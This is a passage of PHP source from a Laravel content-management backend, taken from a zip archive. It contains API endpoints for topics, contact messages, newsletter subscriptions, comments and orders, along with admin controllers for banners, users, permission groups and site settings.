'related_topics' => $response_details ]; return response()->json($response, 200); } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 200); } } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 404); } } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function topic_fields($topic_id, $lang = '') { if ($topic_id > 0) { // Get topic details $Topics = Topic::where([['id', '=', $topic_id], ['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orWhere([['id', '=', $topic_id], ['status', 1], ['expire_date', null]])->orderby('row_no', 'asc')->get(); if (count($Topics) > 0) { // By Language $lang = $this->getLanguage($lang); $title_var = "title_$lang"; $topic_title = ""; $photo_file = ""; // Response Details $response_details = []; foreach ($Topics as $Topic) { $topic_title = $Topic->$title_var; $photo_file = $Topic->photo_file; // additional fields $response_details = []; foreach ($Topic->webmasterSection->customFields as $customField) { $cf_saved_val = ""; $cf_saved_val_array = array(); if (count($Topic->fields) > 0) { foreach ($Topic->fields as $t_field) { if ($t_field->field_id == $customField->id) { if ($customField->type == 7) { // if multi check $cf_saved_val_array = explode(", ", $t_field->field_value); } else { $cf_saved_val = $t_field->field_value; } } } } if (($cf_saved_val != "" || count($cf_saved_val_array) > 0) && ($customField->lang_code == "all" || $customField->lang_code == "$lang")) { $response_details[] = [ 'type' => $customField->type, 'title' => $customField->$title_var, 'value' => $cf_saved_val, ]; } } } // Response MSG $response = [ 'msg' => 'Additional Fields of topic', 'topic_id' => $topic_id, 'topic_title' => $topic_title, 'topic_link' => "topic/" . $topic_id, 'topic_photo' => ($photo_file != "") ? url("") . "/uploads/topics/" . $photo_file : null, 'fields_count' => count($response_details), 'fields' => $response_details ]; return response()->json($response, 200); } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 200); } } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 404); } } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function user_topics($user_id, $page_number = 1, $topics_count = 0, $lang = '') { if ($user_id > 0) { if ($page_number < 1) { $page_number = 1; } Paginator::currentPageResolver(function () use ($page_number) { return $page_number; }); // Get topics $Topics = Topic::where([['created_by', '=', $user_id], ['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orWhere([['created_by', '=', $user_id], ['status', 1], ['expire_date', null]])->orderby('row_no', 'asc'); if ($topics_count > 0) { $Topics = $Topics->paginate($topics_count); } else { $Topics = $Topics->get(); } if (count($Topics) > 0) { // By Language $lang = $this->getLanguage($lang); $title_var = "title_$lang"; $details_var = "details_ar$lang"; $user_name = ""; // Response Details $response_details = []; foreach ($Topics as $Topic) { $type = $Topic->webmasterSection->type; $section_name = $Topic->webmasterSection->name; $section_id = $Topic->webmasterSection->id; $user_name = $Topic->user->name; $Joined_categories = []; foreach ($Topic->categories as $category) { $Joined_categories[] = [ 'id' => $category->id, 'title' => $category->section->$title_var, 'icon' => $category->section->icon, 'photo' => ($category->section->photo != "") ? url("") . "/uploads/sections/" . $category->section->photo : null, 'href' => "topics/cat/" . $category->id ]; } // additional fields $Additional_fields = []; foreach ($Topic->webmasterSection->customFields as $customField) { $cf_saved_val = ""; $cf_saved_val_array = array(); if (count($Topic->fields) > 0) { foreach ($Topic->fields as $t_field) { if ($t_field->field_id == $customField->id) { if ($customField->type == 7) { // if multi check $cf_saved_val_array = explode(", ", $t_field->field_value); } else { $cf_saved_val = $t_field->field_value; } } } } if (($cf_saved_val != "" || count($cf_saved_val_array) > 0) && ($customField->lang_code == "all" || $customField->lang_code == "$lang")) { $Additional_fields[] = [ 'type' => $customField->type, 'title' => $customField->$title_var, 'value' => $cf_saved_val, ]; } } $video_file = $Topic->video_file; if ($Topic->video_type == 0) { $video_file = ($Topic->video_file != "") ? url("") . "/uploads/topics/" . $Topic->video_file : ""; } $response_details[] = [ 'id' => $Topic->id, 'title' => $Topic->$title_var, 'details' => $Topic->$details_var, 'date' => $Topic->date, 'video_type' => $Topic->video_type, 'video_file' => $video_file, 'photo_file' => ($Topic->photo_file != "") ? url("") . "/uploads/topics/" . $Topic->photo_file : null, 'audio_file' => ($Topic->audio_file != "") ? url("") . "/uploads/topics/" . $Topic->audio_file : null, 'icon' => $Topic->icon, 'visits' => $Topic->visits, 'href' => "topic/" . $Topic->id, 'fields_count' => count($Additional_fields), 'fields' => $Additional_fields, 'Joined_categories_count' => count($Topic->categories), 'Joined_categories' => $Joined_categories, 'section_id' => $section_id, 'section_name' => $section_name, 'section_type' => $type, ]; } // Response MSG $response = [ 'msg' => 'List of Topics for user', 'user_id' => $user_id, 'user_name' => $user_name, 'topics_count' => count($Topics), 'topics' => $response_details ]; return response()->json($response, 200); } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 200); } } else { // Empty MSG $response = [ 'msg' => 'There is no data' ]; return response()->json($response, 404); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function ContactPageSubmit(Request $request) { $this->validate($request, [ 'api_key' => 'required', 'contact_name' => 'required', 'contact_email' => 'required|email', 'contact_subject' => 'required', 'contact_message' => 'required' ]); // check api_key if ($request->api_key == Helper::GeneralWebmasterSettings("api_key")) { // SITE SETTINGS $WebsiteSettings = Setting::find(1); $site_title_var = "site_title_" . trans('backLang.boxCode'); $site_email = $WebsiteSettings->site_webmails; $site_url = $WebsiteSettings->site_url; $site_title = $WebsiteSettings->$site_title_var; $Webmail = new Webmail; $Webmail->cat_id = 0; $Webmail->group_id = null; $Webmail->title = $request->contact_subject; $Webmail->details = $request->contact_message; $Webmail->date = date("Y-m-d H:i:s"); $Webmail->from_email = $request->contact_email; $Webmail->from_name = $request->contact_name; $Webmail->from_phone = $request->contact_phone; $Webmail->to_email = $WebsiteSettings->site_webmails; $Webmail->to_name = $site_title; $Webmail->status = 0; $Webmail->flag = 0; $Webmail->save(); // SEND Notification Email if ($WebsiteSettings->notify_messages_status) { if (env('MAIL_USERNAME') != "") { Mail::send('backEnd.emails.webmail', [ 'title' => "NEW MESSAGE:" . $request->contact_subject, 'details' => $request->contact_message, 'websiteURL' => $site_url, 'websiteName' => $site_title ], function ($message) use ($request, $site_email, $site_title) { $message->from(env('NO_REPLAY_EMAIL', $request->contact_email), $request->contact_name); $message->to($site_email); $message->replyTo($request->contact_email, $site_title); $message->subject($request->contact_subject); }); } } // response MSG $response = [ 'code' => '1', 'msg' => 'Message Sent successfully' ]; return response()->json($response, 201); } else { // Empty MSG $response = [ 'code' => '-1', 'msg' => 'Authentication failed' ]; return response()->json($response, 500); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function subscribeSubmit(Request $request) { $this->validate($request, [ 'api_key' => 'required', 'subscribe_name' => 'required', 'subscribe_email' => 'required|email' ]); // check api_key if ($request->api_key == Helper::GeneralWebmasterSettings("api_key")) { // General Webmaster Settings $WebmasterSettings = WebmasterSetting::find(1); $Contacts = Contact::where('email', $request->subscribe_email)->get(); if (count($Contacts) > 0) { // response MSG $response = [ 'code' => '2', 'msg' => 'You are already subscribed' ]; return response()->json($response, 200); } else { $subscribe_names = explode(' ', $request->subscribe_name, 2); $Contact = new Contact; $Contact->group_id = $WebmasterSettings->newsletter_contacts_group; $Contact->first_name = @$subscribe_names[0]; $Contact->last_name = @$subscribe_names[1]; $Contact->email = $request->subscribe_email; $Contact->status = 1; $Contact->save(); // response MSG $response = [ 'code' => '1', 'msg' => 'You have subscribed successfully' ]; return response()->json($response, 201); } } else { // Empty MSG $response = [ 'code' => '-1', 'msg' => 'Authentication failed' ]; return response()->json($response, 500); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function commentSubmit(Request $request) { $this->validate($request, [ 'api_key' => 'required', 'topic_id' => 'required', 'comment_name' => 'required', 'comment_email' => 'required|email', 'comment_message' => 'required' ]); // check api_key if ($request->api_key == Helper::GeneralWebmasterSettings("api_key")) { // General Webmaster Settings $WebmasterSettings = WebmasterSetting::find(1); $next_nor_no = Comment::where('topic_id', '=', $request->topic_id)->max('row_no'); if ($next_nor_no < 1) { $next_nor_no = 1; } else { $next_nor_no++; } $Comment = new Comment; $Comment->row_no = $next_nor_no; $Comment->name = $request->comment_name; $Comment->email = $request->comment_email; $Comment->comment = $request->comment_message; $Comment->topic_id = $request->topic_id;; $Comment->date = date("Y-m-d H:i:s"); $Comment->status = $WebmasterSettings->new_comments_status; $Comment->save(); // Site Details $WebsiteSettings = Setting::find(1); $site_title_var = "site_title_" . trans('backLang.boxCode'); $site_email = $WebsiteSettings->site_webmails; $site_url = $WebsiteSettings->site_url; $site_title = $WebsiteSettings->$site_title_var; // Topic details $Topic = Topic::where('status', 1)->find($request->topic_id); if (count($Topic) > 0) { $tpc_title_var = "title_" . trans('backLang.boxCode'); $tpc_title = $WebsiteSettings->$tpc_title_var; // SEND Notification Email if ($WebsiteSettings->notify_comments_status) { if (env('MAIL_USERNAME') != "") { Mail::send('backEnd.emails.webmail', [ 'title' => "NEW Comment on :" . $tpc_title, 'details' => $request->comment_message, 'websiteURL' => $site_url, 'websiteName' => $site_title ], function ($message) use ($request, $site_email, $site_title, $tpc_title) { $message->from(env('NO_REPLAY_EMAIL', $request->comment_email), $request->comment_name); $message->to($site_email); $message->replyTo($request->comment_email, $site_title); $message->subject("NEW Comment on :" . $tpc_title); }); } } // response MSG $response = [ 'code' => '1', 'msg' => 'Your Comment Sent successfully' ]; return response()->json($response, 201); } else { // response MSG $response = [ 'code' => '0', 'msg' => 'There is no data' ]; return response()->json($response, 404); } } else { // Empty MSG $response = [ 'code' => '-1', 'msg' => 'Authentication failed' ]; return response()->json($response, 500); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function orderSubmit(Request $request) { $this->validate($request, [ 'api_key' => 'required', 'topic_id' => 'required', 'order_name' => 'required', 'order_phone' => 'required', 'order_email' => 'required|email', 'order_qty' => 'required' ]); // check api_key if ($request->api_key == Helper::GeneralWebmasterSettings("api_key")) { $WebsiteSettings = Setting::find(1); $site_title_var = "site_title_" . trans('backLang.boxCode'); $site_email = $WebsiteSettings->site_webmails; $site_url = $WebsiteSettings->site_url; $site_title = $WebsiteSettings->$site_title_var; $Topic = Topic::where('status', 1)->find($request->topic_id); if (count($Topic) > 0) { $tpc_title_var = "title_" . trans('backLang.boxCode'); $tpc_title = $WebsiteSettings->$tpc_title_var; $Webmail = new Webmail; $Webmail->cat_id = 0; $Webmail->group_id = null; $Webmail->contact_id = null; $Webmail->father_id = null; $Webmail->title = "ORDER " . ", Qty=" . $request->order_qty . ", " . $Topic->$tpc_title_var; $Webmail->details = $request->order_message; $Webmail->date = date("Y-m-d H:i:s"); $Webmail->from_email = $request->order_email; $Webmail->from_name = $request->order_name; $Webmail->from_phone = $request->order_phone; $Webmail->to_email = $WebsiteSettings->site_webmails; $Webmail->to_name = $WebsiteSettings->$site_title_var; $Webmail->status = 0; $Webmail->flag = 0; $Webmail->save(); // SEND Notification Email $msg_details = "$tpc_title
Qty = " . $request->order_qty . "
" . $request->order_message; if ($WebsiteSettings->notify_orders_status) { if (env('MAIL_USERNAME') != "") { Mail::send('backEnd.emails.webmail', [ 'title' => "NEW Order on :" . $tpc_title, 'details' => $msg_details, 'websiteURL' => $site_url, 'websiteName' => $site_title ], function ($message) use ($request, $site_email, $site_title, $tpc_title) { $message->from(env('NO_REPLAY_EMAIL', $request->order_email), $request->order_name); $message->to($site_email); $message->replyTo($request->order_email, $site_title); $message->subject("NEW Comment on :" . $tpc_title); }); } } // response MSG $response = [ 'code' => '1', 'msg' => 'Your Order Sent successfully' ]; return response()->json($response, 201); } else { // response MSG $response = [ 'code' => '0', 'msg' => 'There is no data' ]; return response()->json($response, 404); } } else { // Empty MSG $response = [ 'code' => '-1', 'msg' => 'Authentication failed' ]; return response()->json($response, 500); } } } PKVZ./Http/Controllers/WebmasterBannersController.phpnu[middleware('auth'); // Check Permissions if (@Auth::user()->permissions != 0) { return Redirect::to(route('NoPermission'))->send(); } } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END if (@Auth::user()->permissionsGroup->view_status) { $WebmasterBanners = WebmasterBanner::where('created_by', '=', Auth::user()->id)->orderby('row_no', 'asc')->paginate(env('BACKEND_PAGINATION')); } else { $WebmasterBanners = WebmasterBanner::orderby('row_no', 'asc')->paginate(env('BACKEND_PAGINATION')); } return view("backEnd.webmaster.banners", compact("WebmasterBanners", "GeneralWebmasterSections")); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END return view("backEnd.webmaster.banners.create", compact("GeneralWebmasterSections")); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { // $next_nor_no = WebmasterBanner::max('row_no'); if ($next_nor_no < 1) { $next_nor_no = 1; } else { $next_nor_no++; } $WebmasterBanner = new WebmasterBanner; $WebmasterBanner->row_no = $next_nor_no; $WebmasterBanner->name = $request->name; $WebmasterBanner->width = $request->width; $WebmasterBanner->height = $request->height; $WebmasterBanner->desc_status = $request->desc_status; $WebmasterBanner->link_status = $request->link_status; $WebmasterBanner->icon_status = $request->icon_status; $WebmasterBanner->type = $request->type; $WebmasterBanner->status = 1; $WebmasterBanner->created_by = Auth::user()->id; $WebmasterBanner->save(); return redirect()->action('WebmasterBannersController@index')->with('doneMessage', trans('backLang.addDone')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END if (@Auth::user()->permissionsGroup->view_status) { $WebmasterBanners = WebmasterBanner::where('created_by', '=', Auth::user()->id)->find($id); } else { $WebmasterBanners = WebmasterBanner::find($id); } if (!empty($WebmasterBanners) ) { return view("backEnd.webmaster.banners.edit", compact("WebmasterBanners", "GeneralWebmasterSections")); } else { return redirect()->action('WebmasterBannersController@index'); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // $WebmasterBanner = WebmasterBanner::find($id); if (!empty($WebmasterBanner) ) { $WebmasterBanner->name = $request->name; $WebmasterBanner->width = $request->width; $WebmasterBanner->height = $request->height; $WebmasterBanner->desc_status = $request->desc_status; $WebmasterBanner->link_status = $request->link_status; $WebmasterBanner->icon_status = $request->icon_status; $WebmasterBanner->type = $request->type; $WebmasterBanner->status = $request->status; $WebmasterBanner->updated_by = Auth::user()->id; $WebmasterBanner->save(); return redirect()->action('WebmasterBannersController@index', $id)->with('doneMessage', trans('backLang.saveDone')); } else { return redirect()->action('WebmasterBannersController@index'); } } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // if (@Auth::user()->permissionsGroup->view_status) { $WebmasterBanner = WebmasterBanner::where('created_by', '=', Auth::user()->id)->find($id); } else { $WebmasterBanner = WebmasterBanner::find($id); } if (!empty($WebmasterBanner) ) { $WebmasterBanner->delete(); return redirect()->action('WebmasterBannersController@index')->with('doneMessage', trans('backLang.deleteDone')); } else { return redirect()->action('WebmasterBannersController@index'); } } /** * Update all selected resources in storage. * * @param \Illuminate\Http\Request $request * @param buttonNames , array $ids[] * @return \Illuminate\Http\Response */ public function updateAll(Request $request) { // if ($request->action == "order") { foreach ($request->row_ids as $rowId) { $WebmasterBanner = WebmasterBanner::find($rowId); if (!empty($WebmasterBanner) ) { $row_no_val = "row_no_" . $rowId; $WebmasterBanner->row_no = $request->$row_no_val; $WebmasterBanner->save(); } } } elseif ($request->action == "activate") { WebmasterBanner::wherein('id', $request->ids) ->update(['status' => 1]); } elseif ($request->action == "block") { WebmasterBanner::wherein('id', $request->ids) ->update(['status' => 0]); } elseif ($request->action == "delete") { WebmasterBanner::wherein('id', $request->ids) ->delete(); } return redirect()->action('WebmasterBannersController@index')->with('doneMessage', trans('backLang.saveDone')); } }PKVZT<<$Http/Controllers/UsersController.phpnu[middleware('auth'); // Check Permissions if (@Auth::user()->permissions != 0 && Auth::user()->permissions != 1) { return Redirect::to(route('NoPermission'))->send(); } } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END if (@Auth::user()->permissionsGroup->view_status) { $Users = User::where('created_by', '=', Auth::user()->id)->orwhere('id', '=', Auth::user()->id)->orderby('id', 'asc')->paginate(env('BACKEND_PAGINATION')); $Permissions = Permissions::where('created_by', '=', Auth::user()->id)->orderby('id', 'asc')->get(); } else { $Users = User::orderby('id', 'asc')->paginate(env('BACKEND_PAGINATION')); $Permissions = Permissions::orderby('id', 'asc')->get(); } return view("backEnd.users", compact("Users", "Permissions", "GeneralWebmasterSections")); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END $Permissions = Permissions::orderby('id', 'asc')->get(); return view("backEnd.users.create", compact("GeneralWebmasterSections", "Permissions")); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { // $this->validate($request, [ 'photo' => 'mimes:png,jpeg,jpg,gif|max:3000', 'name' => 'required', 'email' => 'required|email|unique:users', 'password' => 'required', 'permissions_id' => 'required' ]); // Start of Upload Files $formFileName = "photo"; $fileFinalName_ar = ""; if ($request->$formFileName != "") { $fileFinalName_ar = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = base_path() . "/public/" . $this->getUploadPath(); $request->file($formFileName)->move($path, $fileFinalName_ar); } // End of Upload Files $User = new User; $User->name = $request->name; $User->email = $request->email; $User->password = bcrypt($request->password); $User->permissions_id = $request->permissions_id; $User->photo = $fileFinalName_ar; $User->connect_email = $request->connect_email; $User->connect_password = $request->connect_password; $User->get_notifications = $request->get_notifications; $User->status = 1; $User->created_by = Auth::user()->id; $User->save(); return redirect()->action('UsersController@index')->with('doneMessage', trans('backLang.addDone')); } public function getUploadPath() { return $this->uploadPath; } public function setUploadPath($uploadPath) { $this->uploadPath = Config::get('app.APP_URL') . $uploadPath; } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END $Permissions = Permissions::orderby('id', 'asc')->get(); if (@Auth::user()->permissionsGroup->view_status) { $Users = User::where('created_by', '=', Auth::user()->id)->orwhere('id', '=', Auth::user()->id)->find($id); } else { $Users = User::find($id); } if (!empty($Users) ) { return view("backEnd.users.edit", compact("Users", "Permissions", "GeneralWebmasterSections")); } else { return redirect()->action('UsersController@index'); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // $User = User::find($id); if (!empty($User) ) { $this->validate($request, [ 'photo' => 'mimes:png,jpeg,jpg,gif|max:3000', 'name' => 'required', 'permissions_id' => 'required' ]); if ($request->email != $User->email) { $this->validate($request, [ 'email' => 'required|email|unique:users', ]); } // Start of Upload Files $formFileName = "photo"; $fileFinalName_ar = ""; if ($request->$formFileName != "") { $fileFinalName_ar = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = base_path() . "/public/" . $this->getUploadPath(); $request->file($formFileName)->move($path, $fileFinalName_ar); } // End of Upload Files //if ($id != 1) { $User->name = $request->name; $User->email = $request->email; if ($request->password != "") { $User->password = bcrypt($request->password); } $User->permissions_id = $request->permissions_id; //} if ($request->photo_delete == 1) { // Delete a User file if ($User->photo != "") { File::delete($this->getUploadPath() . $User->photo); } $User->photo = ""; } if ($fileFinalName_ar != "") { // Delete a User file if ($User->photo != "") { File::delete($this->getUploadPath() . $User->photo); } $User->photo = $fileFinalName_ar; } $User->get_notifications = $request->get_notifications; $User->connect_email = $request->connect_email; if ($request->connect_password != "") { $User->connect_password = $request->connect_password; } $User->status = $request->status; $User->updated_by = Auth::user()->id; $User->save(); return redirect()->action('UsersController@edit', $id)->with('doneMessage', trans('backLang.saveDone')); } else { return redirect()->action('UsersController@index'); } } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // if (@Auth::user()->permissionsGroup->view_status) { $User = User::where('created_by', '=', Auth::user()->id)->find($id); } else { $User = User::find($id); } if (!empty($User) && $id != 1) { // Delete a User photo if ($User->photo != "") { File::delete($this->getUploadPath() . $User->photo); } $User->delete(); return redirect()->action('UsersController@index')->with('doneMessage', trans('backLang.deleteDone')); } else { return redirect()->action('UsersController@index'); } } /** * Update all selected resources in storage. * * @param \Illuminate\Http\Request $request * @param buttonNames , array $ids[] * @return \Illuminate\Http\Response */ public function updateAll(Request $request) { // if ($request->action == "activate") { User::wherein('id', $request->ids) ->update(['status' => 1]); } elseif ($request->action == "block") { User::wherein('id', $request->ids)->where('id', '!=', 1) ->update(['status' => 0]); } elseif ($request->action == "delete") { // Delete User photo $Users = User::wherein('id', $request->ids)->where('id', '!=', 1)->get(); foreach ($Users as $User) { if ($User->photo != "") { File::delete($this->getUploadPath() . $User->photo); } } User::wherein('id', $request->ids)->where('id', "!=", 1) ->delete(); } return redirect()->action('UsersController@index')->with('doneMessage', trans('backLang.saveDone')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function permissions_create() { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END return view("backEnd.users.permissions.create", compact("GeneralWebmasterSections")); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function permissions_store(Request $request) { // $this->validate($request, [ 'name' => 'required' ]); $data_sections_values = ""; if (@$request->data_sections != "") { foreach ($request->data_sections as $key => $val) { $data_sections_values = $val . "," . $data_sections_values; } $data_sections_values = substr($data_sections_values, 0, -1); } $Permissions = new Permissions; $Permissions->name = $request->name; $Permissions->view_status = ($request->view_status) ? "1" : "0"; $Permissions->add_status = ($request->add_status) ? "1" : "0"; $Permissions->edit_status = ($request->edit_status) ? "1" : "0"; $Permissions->delete_status = ($request->delete_status) ? "1" : "0"; $Permissions->analytics_status = ($request->analytics_status) ? "1" : "0"; $Permissions->inbox_status = ($request->inbox_status) ? "1" : "0"; $Permissions->newsletter_status = ($request->newsletter_status) ? "1" : "0"; $Permissions->calendar_status = ($request->calendar_status) ? "1" : "0"; $Permissions->banners_status = ($request->banners_status) ? "1" : "0"; $Permissions->settings_status = ($request->settings_status) ? "1" : "0"; $Permissions->webmaster_status = ($request->webmaster_status) ? "1" : "0"; $Permissions->data_sections = $data_sections_values; $Permissions->status = true; $Permissions->save(); return redirect()->action('UsersController@index')->with('doneMessage', trans('backLang.addDone')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function permissions_edit($id) { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END if (@Auth::user()->permissionsGroup->view_status) { $Permissions = Permissions::where('created_by', '=', Auth::user()->id)->find($id); } else { $Permissions = Permissions::find($id); } if (!empty($Permissions)) { return view("backEnd.users.permissions.edit", compact("Permissions", "GeneralWebmasterSections")); } else { return redirect()->action('UsersController@index'); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function permissions_update(Request $request, $id) { // $Permissions = Permissions::find($id); if (!empty($Permissions) ) { $this->validate($request, [ 'name' => 'required' ]); $data_sections_values = ""; if (@$request->data_sections != "") { foreach ($request->data_sections as $key => $val) { $data_sections_values = $val . "," . $data_sections_values; } $data_sections_values = substr($data_sections_values, 0, -1); } $Permissions->name = $request->name; $Permissions->view_status = ($request->view_status) ? "1" : "0"; $Permissions->add_status = ($request->add_status) ? "1" : "0"; $Permissions->edit_status = ($request->edit_status) ? "1" : "0"; $Permissions->delete_status = ($request->delete_status) ? "1" : "0"; $Permissions->analytics_status = ($request->analytics_status) ? "1" : "0"; $Permissions->inbox_status = ($request->inbox_status) ? "1" : "0"; $Permissions->newsletter_status = ($request->newsletter_status) ? "1" : "0"; $Permissions->calendar_status = ($request->calendar_status) ? "1" : "0"; $Permissions->banners_status = ($request->banners_status) ? "1" : "0"; $Permissions->settings_status = ($request->settings_status) ? "1" : "0"; $Permissions->webmaster_status = ($request->webmaster_status) ? "1" : "0"; $Permissions->data_sections = $data_sections_values; $Permissions->status = $request->status; if ($id != 1) { $Permissions->save(); } return redirect()->action('UsersController@permissions_edit', $id)->with('doneMessage', trans('backLang.saveDone')); } else { return redirect()->action('UsersController@index'); } } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function permissions_destroy($id) { // if (@Auth::user()->permissionsGroup->view_status) { $Permissions = Permissions::where('created_by', '=', Auth::user()->id)->find($id); } else { $Permissions = Permissions::find($id); } if (!empty($Permissions) && $id != 1) { $Permissions->delete(); return redirect()->action('UsersController@index')->with('doneMessage', trans('backLang.deleteDone')); } else { return redirect()->action('UsersController@index'); } } } PKVZ%cS33'Http/Controllers/SettingsController.phpnu[middleware('auth'); // Check Permissions if (@Auth::user()->permissions != 0 && Auth::user()->permissions != 1) { return Redirect::to(route('NoPermission'))->send(); } } public function edit() { // // General for all pages $GeneralWebmasterSections = WebmasterSection::where('status', '=', '1')->orderby('row_no', 'asc')->get(); // General END $id = $this->getId(); $Setting = Setting::find($id); if (!empty($Setting) ) { return view("backEnd.settings.settings", compact("Setting", "GeneralWebmasterSections")); } else { return redirect()->route('adminHome'); } } public function getId() { return $this->id; } public function setId($id) { $this->id = $id; } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id = 1 for default settings * @return \Illuminate\Http\Response */ public function updateSiteInfo(Request $request) { // $id = $this->getId(); $Setting = Setting::find($id); if (!empty($Setting) ) { $Setting->site_title_ar = $request->site_title_ar; $Setting->site_title_he = $request->site_title_he; $Setting->site_title_en = $request->site_title_en; $Setting->site_desc_ar = $request->site_desc_ar; $Setting->site_desc_he = $request->site_desc_he; $Setting->site_desc_en = $request->site_desc_en; $Setting->site_keywords_ar = $request->site_keywords_ar; $Setting->site_keywords_he = $request->site_keywords_he; $Setting->site_keywords_en = $request->site_keywords_en; $Setting->site_webmails = $request->site_webmails; $Setting->notify_messages_status = $request->notify_messages_status; $Setting->notify_comments_status = $request->notify_comments_status; $Setting->notify_orders_status = $request->notify_orders_status; $Setting->site_url = $request->site_url; $Setting->updated_by = Auth::user()->id; $Setting->save(); return redirect()->action('SettingsController@edit') ->with('doneMessage', trans('backLang.saveDone')) ->with('infoTab', 'active'); } else { return redirect()->route('adminHome'); } } public function updateSiteStatus(Request $request) { // $id = $this->getId(); $Setting = Setting::find($id); if (!empty($Setting) ) { $Setting->site_status = $request->site_status; $Setting->close_msg = $request->close_msg; $Setting->save(); return redirect()->action('SettingsController@edit') ->with('doneMessage', trans('backLang.saveDone')) ->with('statusTab', 'active'); } else { return redirect()->route('adminHome'); } } public function updateSiteStyle(Request $request) { // $id = $this->getId(); $Setting = Setting::find($id); if (!empty($Setting) ) { $this->validate($request, [ 'style_logo_en' => 'mimes:png,jpeg,jpg,gif|max:3000', 'style_logo_he' => 'mimes:png,jpeg,jpg,gif|max:3000', 'style_logo_ar' => 'mimes:png,jpeg,jpg,gif|max:3000', 'style_fav' => 'mimes:png,jpeg,jpg,gif|max:3000', 'style_apple' => 'mimes:png,jpeg,jpg,gif|max:3000', 'style_bg_image' => 'mimes:png,jpeg,jpg,gif|max:5000', 'style_footer_bg' => 'mimes:png,jpeg,jpg,gif|max:5000' ]); // Start of Upload Files $formFileName = "style_logo_en"; $fileFinalName = ""; if ($request->$formFileName != "") { // Delete a style_logo_en photo if ($Setting->style_logo_en != "") { File::delete($this->getUploadPath() . $Setting->style_logo_en); } $fileFinalName = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $fileFinalName); } $formFileNameHe = "style_logo_he"; $fileFinalNameHe = ""; if ($request->$formFileNameHe != "") { // Delete a style_logo_en photo if ($Setting->style_logo_he != "") { File::delete($this->getUploadPath() . $Setting->style_logo_he); } $fileFinalNameHe = time() . rand(1111, 9999) . '.' . $request->file($formFileNameHe)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileNameHe)->move($path, $fileFinalNameHe); } $formFileNameAr = "style_logo_ar"; $fileFinalNameAr = ""; if ($request->$formFileNameAr != "") { // Delete a style_logo_ar photo if ($Setting->style_logo_ar != "") { File::delete($this->getUploadPath() . $Setting->style_logo_ar); } $fileFinalNameAr = time() . rand(1111, 9999) . '.' . $request->file($formFileNameAr)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileNameAr)->move($path, $fileFinalNameAr); } $formFileName2 = "style_fav"; $fileFinalName2 = ""; if ($request->$formFileName2 != "") { // Delete a style_fav photo if ($Setting->style_fav != "") { File::delete($this->getUploadPath() . $Setting->style_fav); } $fileFinalName2 = time() . rand(1111, 9999) . '.' . $request->file($formFileName2)->getClientOriginalExtension(); $path = $this->getUploadPath(); 